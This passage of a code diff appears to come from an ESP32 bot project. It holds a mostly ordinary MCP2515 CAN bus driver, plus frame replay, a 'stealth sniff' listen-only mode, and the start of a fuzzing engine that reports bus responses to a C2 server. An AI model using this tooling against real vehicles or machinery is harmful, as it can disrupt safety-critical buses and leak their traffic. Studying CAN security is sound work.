mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
|
||||
/* Wait for mode change confirmation */
|
||||
for (int i = 0; i < 50; i++) {
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) == mode) return;
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
|
||||
}
|
||||
|
||||
/* Read a complete frame from RX buffer (0 or 1) */
|
||||
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
|
||||
{
|
||||
/* Use READ_RX instruction for auto-clear of interrupt flag */
|
||||
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
|
||||
|
||||
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
|
||||
uint8_t tx[14] = { 0 };
|
||||
uint8_t rx[14] = { 0 };
|
||||
tx[0] = cmd;
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
|
||||
uint8_t sidh = rx[1];
|
||||
uint8_t sidl = rx[2];
|
||||
uint8_t eid8 = rx[3];
|
||||
uint8_t eid0 = rx[4];
|
||||
uint8_t dlc = rx[5];
|
||||
|
||||
frame->extended = (sidl & 0x08) != 0;
|
||||
frame->rtr = false;
|
||||
|
||||
if (frame->extended) {
|
||||
frame->id = ((uint32_t)sidh << 21)
|
||||
| ((uint32_t)(sidl & 0xE0) << 13)
|
||||
| ((uint32_t)(sidl & 0x03) << 16)
|
||||
| ((uint32_t)eid8 << 8)
|
||||
| (uint32_t)eid0;
|
||||
frame->rtr = (dlc & 0x40) != 0;
|
||||
} else {
|
||||
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
|
||||
frame->rtr = (sidl & 0x10) != 0;
|
||||
}
|
||||
|
||||
frame->dlc = dlc & 0x0F;
|
||||
if (frame->dlc > 8) frame->dlc = 8;
|
||||
|
||||
memcpy(frame->data, &rx[6], 8);
|
||||
frame->timestamp_us = 0; /* Caller sets timestamp */
|
||||
}
|
||||
|
||||
/* Write a frame to TX buffer 0 and request send */
|
||||
static bool mcp_write_tx_buffer(const can_frame_t *frame)
|
||||
{
|
||||
/* Check if TX buffer 0 is free */
|
||||
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
|
||||
if (ctrl & 0x08) {
|
||||
/* TXREQ still set — previous TX pending */
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
|
||||
uint8_t tx[14] = { 0 };
|
||||
tx[0] = MCP_LOAD_TX0;
|
||||
|
||||
if (frame->extended) {
|
||||
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
|
||||
| 0x08 /* EXIDE = 1 */
|
||||
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
|
||||
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
|
||||
tx[4] = (uint8_t)(frame->id); /* EID0 */
|
||||
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
|
||||
} else {
|
||||
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
|
||||
| (frame->rtr ? 0x10 : 0x00);
|
||||
tx[3] = 0;
|
||||
tx[4] = 0;
|
||||
tx[5] = frame->dlc;
|
||||
}
|
||||
|
||||
memcpy(&tx[6], frame->data, 8);
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Request to send */
|
||||
uint8_t rts = MCP_RTS_TX0;
|
||||
spi_transaction_t rts_t = {
|
||||
.length = 8,
|
||||
.tx_buffer = &rts,
|
||||
};
|
||||
spi_device_transmit(s_spi, &rts_t);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* GPIO ISR — INT pin (active low)
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR gpio_isr_handler(void *arg)
|
||||
{
|
||||
BaseType_t woken = pdFALSE;
|
||||
xSemaphoreGiveFromISR(s_int_sem, &woken);
|
||||
if (woken) portYIELD_FROM_ISR();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX Task
|
||||
* ============================================================ */
|
||||
|
||||
static void rx_task(void *arg)
|
||||
{
|
||||
ESP_LOGI(TAG, "RX task started");
|
||||
|
||||
while (s_running) {
|
||||
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
|
||||
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Read interrupt flags */
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
|
||||
/* RX buffer 0 full */
|
||||
if (intf & MCP_RX0IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* RX buffer 1 full */
|
||||
if (intf & MCP_RX1IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* Error interrupt */
|
||||
if (intf & MCP_ERRIF) {
|
||||
uint8_t eflg = mcp_read_reg(MCP_EFLG);
|
||||
s_bus_errors++;
|
||||
|
||||
if (eflg & MCP_EFLG_TXBO) {
|
||||
s_bus_off = true;
|
||||
ESP_LOGW(TAG, "Bus-off detected");
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
|
||||
s_err_passive = true;
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
|
||||
s_rx_overflow++;
|
||||
}
|
||||
|
||||
/* Clear error flags */
|
||||
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
|
||||
}
|
||||
|
||||
/* TX complete — clear flags */
|
||||
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "RX task stopped");
|
||||
s_rx_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz)
|
||||
{
|
||||
if (s_spi) {
|
||||
ESP_LOGW(TAG, "Already initialized");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Select timing table */
|
||||
const can_timing_t *table = NULL;
|
||||
if (osc_mhz == 16) {
|
||||
table = s_timing_16mhz;
|
||||
} else if (osc_mhz == 8) {
|
||||
table = s_timing_8mhz;
|
||||
} else {
|
||||
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Find matching bitrate */
|
||||
const can_timing_t *timing = NULL;
|
||||
for (int i = 0; table[i].bitrate != 0; i++) {
|
||||
if (table[i].bitrate == bitrate) {
|
||||
timing = &table[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!timing) {
|
||||
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Init SPI bus */
|
||||
spi_bus_config_t bus_cfg = {
|
||||
.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
|
||||
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
|
||||
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
|
||||
.quadwp_io_num = -1,
|
||||
.quadhd_io_num = -1,
|
||||
.max_transfer_sz = 32,
|
||||
};
|
||||
|
||||
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Add MCP2515 as SPI device */
|
||||
spi_device_interface_config_t dev_cfg = {
|
||||
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
|
||||
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
|
||||
.spics_io_num = CONFIG_CANBUS_PIN_CS,
|
||||
.queue_size = 4,
|
||||
};
|
||||
|
||||
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Reset MCP2515 (enters CONFIG mode automatically) */
|
||||
mcp_reset();
|
||||
|
||||
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
|
||||
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
|
||||
|
||||
/* Set bit timing */
|
||||
mcp_write_reg(MCP_CNF1, timing->cnf1);
|
||||
mcp_write_reg(MCP_CNF2, timing->cnf2);
|
||||
mcp_write_reg(MCP_CNF3, timing->cnf3);
|
||||
|
||||
/* Enable interrupts: RX0, RX1, Error */
|
||||
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
|
||||
|
||||
/* Clear all interrupt flags */
|
||||
mcp_write_reg(MCP_CANINTF, 0x00);
|
||||
|
||||
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
|
||||
|
||||
/* Create semaphores */
|
||||
s_int_sem = xSemaphoreCreateBinary();
|
||||
s_tx_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
/* Reset counters */
|
||||
s_rx_count = 0;
|
||||
s_tx_count = 0;
|
||||
s_bus_errors = 0;
|
||||
s_rx_overflow = 0;
|
||||
s_bus_off = false;
|
||||
s_err_passive = false;
|
||||
|
||||
/* Configure INT pin as input with pull-up, falling edge interrupt */
|
||||
gpio_config_t io_cfg = {
|
||||
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
|
||||
.mode = GPIO_MODE_INPUT,
|
||||
.pull_up_en = GPIO_PULLUP_ENABLE,
|
||||
.pull_down_en = GPIO_PULLDOWN_DISABLE,
|
||||
.intr_type = GPIO_INTR_NEGEDGE,
|
||||
};
|
||||
gpio_config(&io_cfg);
|
||||
gpio_install_isr_service(0);
|
||||
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
|
||||
|
||||
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
|
||||
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_start(can_mode_t mode)
|
||||
{
|
||||
if (!s_spi) {
|
||||
ESP_LOGE(TAG, "Not initialized");
|
||||
return false;
|
||||
}
|
||||
if (s_running) {
|
||||
ESP_LOGW(TAG, "Already running");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Map mode enum to MCP2515 mode register value */
|
||||
uint8_t mcp_mode;
|
||||
const char *mode_str;
|
||||
switch (mode) {
|
||||
case CAN_MODE_LISTEN_ONLY:
|
||||
mcp_mode = MCP_MODE_LISTEN;
|
||||
mode_str = "listen-only";
|
||||
break;
|
||||
case CAN_MODE_LOOPBACK:
|
||||
mcp_mode = MCP_MODE_LOOPBACK;
|
||||
mode_str = "loopback";
|
||||
break;
|
||||
default:
|
||||
mcp_mode = MCP_MODE_NORMAL;
|
||||
mode_str = "normal";
|
||||
break;
|
||||
}
|
||||
|
||||
/* Set operational mode */
|
||||
mcp_set_mode(mcp_mode);
|
||||
|
||||
/* Verify mode */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != mcp_mode) {
|
||||
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_running = true;
|
||||
|
||||
/* Start RX task on Core 1, priority 5 (above normal) */
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
|
||||
);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create RX task");
|
||||
s_running = false;
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Started in %s mode", mode_str);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_stop(void)
|
||||
{
|
||||
if (!s_running) return;
|
||||
|
||||
s_running = false;
|
||||
|
||||
/* Give semaphore to wake RX task so it exits */
|
||||
if (s_int_sem) xSemaphoreGive(s_int_sem);
|
||||
|
||||
/* Wait for RX task to die */
|
||||
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
|
||||
/* Put MCP2515 back to CONFIG mode */
|
||||
if (s_spi) {
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Stopped");
|
||||
}
|
||||
|
||||
void can_driver_deinit(void)
|
||||
{
|
||||
can_driver_stop();
|
||||
|
||||
/* Remove ISR */
|
||||
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
|
||||
|
||||
/* Free SPI */
|
||||
if (s_spi) {
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
}
|
||||
|
||||
/* Free semaphores */
|
||||
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
|
||||
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
|
||||
|
||||
ESP_LOGI(TAG, "Deinitialized");
|
||||
}
|
||||
|
||||
bool can_driver_is_running(void)
|
||||
{
|
||||
return s_running;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_send(const can_frame_t *frame)
|
||||
{
|
||||
if (!s_running || !s_spi) return false;
|
||||
|
||||
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
|
||||
|
||||
/* Try to load into TX buffer, with retries for busy buffer */
|
||||
bool ok = false;
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (mcp_write_tx_buffer(frame)) {
|
||||
ok = true;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
/* Wait for TX complete (TX0IF) or timeout */
|
||||
for (int i = 0; i < 100; i++) {
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
if (intf & MCP_TX0IF) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
|
||||
s_tx_count++;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_tx_mutex);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
|
||||
{
|
||||
s_rx_cb = cb;
|
||||
s_rx_ctx = ctx;
|
||||
}
|
||||
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
|
||||
{
|
||||
if (cb) *cb = s_rx_cb;
|
||||
if (ctx) *ctx = s_rx_ctx;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Hardware Filters
|
||||
* ============================================================ */
|
||||
|
||||
/* Filter register base addresses (SIDH of each filter) */
|
||||
static const uint8_t s_filter_addrs[6] = {
|
||||
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
|
||||
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
|
||||
};
|
||||
|
||||
static const uint8_t s_mask_addrs[2] = {
|
||||
MCP_RXM0SIDH, MCP_RXM1SIDH,
|
||||
};
|
||||
|
||||
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
|
||||
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
|
||||
{
|
||||
uint8_t sidh, sidl, eid8, eid0;
|
||||
|
||||
if (extended) {
|
||||
sidh = (uint8_t)(id >> 21);
|
||||
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
|
||||
eid8 = (uint8_t)(id >> 8);
|
||||
eid0 = (uint8_t)(id);
|
||||
} else {
|
||||
sidh = (uint8_t)(id >> 3);
|
||||
sidl = (uint8_t)((id & 0x07) << 5);
|
||||
eid8 = 0;
|
||||
eid0 = 0;
|
||||
}
|
||||
|
||||
mcp_write_reg(base_addr, sidh);
|
||||
mcp_write_reg(base_addr + 1, sidl);
|
||||
mcp_write_reg(base_addr + 2, eid8);
|
||||
mcp_write_reg(base_addr + 3, eid0);
|
||||
}
|
||||
|
||||
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 5) return false;
|
||||
|
||||
/* Filters can only be set in CONFIG mode */
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_filter_addrs[idx], id, extended);
|
||||
|
||||
/* Enable filtering on the relevant RX buffer */
|
||||
if (idx < 2) {
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
|
||||
} else {
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
|
||||
}
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 1) return false;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_mask_addrs[idx], mask, extended);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_clear_filters(void)
|
||||
{
|
||||
if (!s_spi) return;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
|
||||
/* Set masks to 0 (match anything) */
|
||||
for (int i = 0; i < 2; i++) {
|
||||
write_id_regs(s_mask_addrs[i], 0, false);
|
||||
}
|
||||
|
||||
/* RXM=11 → turn off mask/filter, receive all */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64);
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Status
|
||||
* ============================================================ */
|
||||
|
||||
void can_driver_get_status(can_status_t *out)
|
||||
{
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
out->rx_count = s_rx_count;
|
||||
out->tx_count = s_tx_count;
|
||||
out->bus_errors = s_bus_errors;
|
||||
out->rx_overflow = s_rx_overflow;
|
||||
out->bus_off = s_bus_off;
|
||||
|
||||
if (s_spi) {
|
||||
out->tx_errors = mcp_read_reg(MCP_TEC);
|
||||
out->rx_errors = mcp_read_reg(MCP_REC);
|
||||
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
|
||||
}
|
||||
|
||||
if (!s_spi) out->state = "not_initialized";
|
||||
else if (!s_running) out->state = "stopped";
|
||||
else if (out->bus_off) out->state = "bus_off";
|
||||
else if (out->error_passive) out->state = "error_passive";
|
||||
else out->state = "running";
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Replay
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
|
||||
{
|
||||
if (!s_running || !frames || count <= 0) return false;
|
||||
|
||||
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
|
||||
|
||||
int64_t base_ts = frames[0].timestamp_us;
|
||||
|
||||
for (int i = 0; i < count && s_running; i++) {
|
||||
/* Wait for inter-frame delay */
|
||||
if (i > 0 && speed_pct > 0) {
|
||||
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
|
||||
if (delta_us > 0) {
|
||||
int64_t wait_us = (delta_us * 100) / speed_pct;
|
||||
if (wait_us > 1000) {
|
||||
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
can_frame_t tx = frames[i];
|
||||
if (!can_driver_send(&tx)) {
|
||||
ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
|
||||
return true;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
@ -0,0 +1,117 @@
|
||||
/*
|
||||
* canbus_driver.h
|
||||
* MCP2515 CAN controller driver via SPI.
|
||||
* Abstracts all hardware details — upper layers see only can_frame_t.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* CAN Frame
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t id; /* Arbitration ID (11 or 29 bit) */
|
||||
uint8_t dlc; /* Data Length Code (0-8) */
|
||||
uint8_t data[8]; /* Payload */
|
||||
bool extended; /* Extended (29-bit) ID */
|
||||
bool rtr; /* Remote Transmission Request */
|
||||
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
|
||||
} can_frame_t;
|
||||
|
||||
/* ============================================================
|
||||
* Operating Modes
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
|
||||
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
|
||||
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
|
||||
} can_mode_t;
|
||||
|
||||
/* ============================================================
|
||||
* RX Callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
|
||||
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Driver Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
/* Init SPI bus + MCP2515 reset + bit timing config */
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz);
|
||||
|
||||
/* Set MCP2515 to operational mode, start RX task */
|
||||
bool can_driver_start(can_mode_t mode);
|
||||
|
||||
/* Set MCP2515 to config mode, kill RX task */
|
||||
void can_driver_stop(void);
|
||||
|
||||
/* Free SPI resources */
|
||||
void can_driver_deinit(void);
|
||||
|
||||
/* Check if driver is running */
|
||||
bool can_driver_is_running(void);
|
||||
|
||||
/* ============================================================
|
||||
* TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
/* Send a single CAN frame (blocking until TX complete or timeout) */
|
||||
bool can_driver_send(const can_frame_t *frame);
|
||||
|
||||
/* Register callback for received frames */
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
|
||||
|
||||
/* Retrieve the currently installed RX callback */
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Hardware Filters (MCP2515 acceptance masks + filters)
|
||||
* ============================================================ */
|
||||
|
||||
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
|
||||
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
|
||||
|
||||
/* Set one of 2 acceptance masks (0-1) */
|
||||
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
|
||||
|
||||
/* Clear all filters — accept all frames */
|
||||
void can_driver_clear_filters(void);
|
||||
|
||||
/* ============================================================
|
||||
* Status / Diagnostics
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t rx_count;
|
||||
uint32_t tx_count;
|
||||
uint32_t rx_errors; /* REC from MCP2515 */
|
||||
uint32_t tx_errors; /* TEC from MCP2515 */
|
||||
uint32_t bus_errors;
|
||||
uint32_t rx_overflow; /* RX buffer overflow count */
|
||||
bool bus_off; /* TEC > 255 */
|
||||
bool error_passive; /* TEC or REC > 127 */
|
||||
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
|
||||
} can_status_t;
|
||||
|
||||
void can_driver_get_status(can_status_t *out);
|
||||
|
||||
/* ============================================================
|
||||
* Replay
|
||||
* ============================================================ */
|
||||
|
||||
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
@ -0,0 +1,359 @@
|
||||
/*
|
||||
* canbus_fuzz.c
|
||||
* CAN bus fuzzing engine implementation.
|
||||
*
|
||||
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_fuzz.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
#include "canbus_isotp.h"
|
||||
#endif
|
||||
|
||||
#define TAG "CAN_FUZZ"
|
||||
|
||||
static volatile bool s_fuzz_running = false;
|
||||
static TaskHandle_t s_fuzz_task = NULL;
|
||||
static fuzz_config_t s_fuzz_cfg;
|
||||
static const char *s_fuzz_req_id = NULL;
|
||||
static uint32_t s_fuzz_count = 0;
|
||||
static uint32_t s_fuzz_responses = 0;
|
||||
static SemaphoreHandle_t s_fuzz_mutex = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Response detector callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Temporary callback to detect responses during fuzzing */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* Count any response and report interesting ones */
|
||||
s_fuzz_responses++;
|
||||
|
||||
/* Report to C2 */
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
|
||||
(unsigned long)frame->id, frame->dlc);
|
||||
size_t off = strlen(line);
|
||||
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
|
||||
/* Chain to original callback */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Modes
|
||||
* ============================================================ */
|
||||
|
